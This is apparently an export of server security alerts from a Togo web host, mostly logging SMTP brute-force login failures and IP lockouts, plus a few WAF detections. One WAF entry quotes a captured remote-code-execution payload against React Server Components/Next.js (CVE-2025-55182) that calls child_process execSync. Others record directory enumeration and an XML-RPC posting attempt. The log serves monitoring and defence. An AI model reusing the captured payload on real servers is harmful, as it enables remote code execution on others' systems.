# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:20:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:20:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:20:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:58556: 535 Incorrect authentication data (set_id=qwerty@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:20:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:20:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:28636: 535 Incorrect authentication data (set_id=new2@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
205.169.39.24 - - [13/Jun/2026:07:20:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395293&pdata=http%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781335225 HTTP/1.1" 302 0 c2ie.tg "http://c2ie.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:20:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34122: 535 Incorrect authentication data (set_id=mimi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:21:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:52912: 535 Incorrect authentication data (set_id=chan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:21:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33528: 535 Incorrect authentication data (set_id=ubnt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:21:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:21:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:50522: 535 Incorrect authentication data (set_id=nextgen@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:21:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:29462: 535 Incorrect authentication data (set_id=kumm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:21:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:21:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:22:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:22:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44824: 535 Incorrect authentication data (set_id=valley@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:22:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25328: 535 Incorrect authentication data (set_id=vpnadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:22:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:22:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42426: 535 Incorrect authentication data (set_id=md-93@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 07:22:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:22:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:23:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17136: 535 Incorrect authentication data (set_id=yschoi@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:23:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:23:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:23:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36416: 535 Incorrect authentication data (set_id=vps10@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:23:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:23:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34274: 535 Incorrect authentication data (set_id=wwwrun@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:24:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12572: 535 Incorrect authentication data (set_id=hire@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:24:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10148: 535 Incorrect authentication data (set_id=chu-tin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:24:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25910: 535 Incorrect authentication data (set_id=ksm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:24:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:24:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41732: 535 Incorrect authentication data (set_id=pannello@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:24:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:24:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.82.205.134
country_id: 2510769
description:
Jun 13 07:24:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.82.205.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:24:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.130.26.57
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Evala 2025\xc2\xa0: Renforcement de capacit\xc3\xa9s des acteurs de l\xe2\x80\x99h\xc3\xb4tellerie et de restauration \xc3\xa0 Kara||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.27
country_id: 2510769
description:
Jun 13 07:25:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:25:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:25:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:25:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:25:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33494: 535 Incorrect authentication data (set_id=electron@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:25:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:19326: 535 Incorrect authentication data (set_id=brooklyn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:25:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39512: 535 Incorrect authentication data (set_id=en@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:26:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:26526: 535 Incorrect authentication data (set_id=you'd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:26:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sadis||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:26:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:20448: 535 Incorrect authentication data (set_id=media3@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:26:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25220: 535 Incorrect authentication data (set_id=cgb@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:26:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:26:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:26:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57676: 535 Incorrect authentication data (set_id=indicadores@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:26:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47944: 535 Incorrect authentication data (set_id=cgb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:26:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44616: 535 Incorrect authentication data (set_id=textile@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:26:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:17642: 535 Incorrect authentication data (set_id=you'd@ns5.netmaster.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 62.60.148.90
country_id: 3017382
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:0||TitleSHA:5899e64a0e4402ee083651f8aa18fd374f962b5e||Title:350e764943735ab2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:26:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:60426: 535 Incorrect authentication data (set_id=rashid@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:27:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:27:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36566: 535 Incorrect authentication data (set_id=vatanabea@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:27:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43812: 535 Incorrect authentication data (set_id=esa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:27:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:27:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:27:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39886: 535 Incorrect authentication data (set_id=origin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:27:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:27:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23166: 535 Incorrect authentication data (set_id=projetos@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:27:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:27:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:11392: 535 Incorrect authentication data (set_id=subscription@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:27:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:27:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18394: 535 Incorrect authentication data (set_id=number@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:28:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:28:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41966: 535 Incorrect authentication data (set_id=bediener@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:28:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:28:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42128: 535 Incorrect authentication data (set_id=invoicing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44700: 535 Incorrect authentication data (set_id=00@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:28:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:28:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:28:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35356: 535 Incorrect authentication data (set_id=specialist@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:28:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28194: 535 Incorrect authentication data (set_id=invoicing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:28:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10332: 535 Incorrect authentication data (set_id=susanne@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61912: 535 Incorrect authentication data (set_id=aim@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:28:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:29:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:29:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19900: 535 Incorrect authentication data (set_id=claims@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:29:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53808: 535 Incorrect authentication data (set_id=olympic@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:29:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:29:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1672: 535 Incorrect authentication data (set_id=theta@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:29:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:29:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:29:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58216: 535 Incorrect authentication data (set_id=mason@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:29:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50060: 535 Incorrect authentication data (set_id=manman@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:29:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36380: 535 Incorrect authentication data (set_id=jasper@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:29:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:29:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:30:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11732: 535 Incorrect authentication data (set_id=phh@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:30:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:30:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45650: 535 Incorrect authentication data (set_id=ftpserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:30:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:30:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:57306: 535 Incorrect authentication data (set_id=esposito@ns5.netmaster.tg)


plugin: ossec
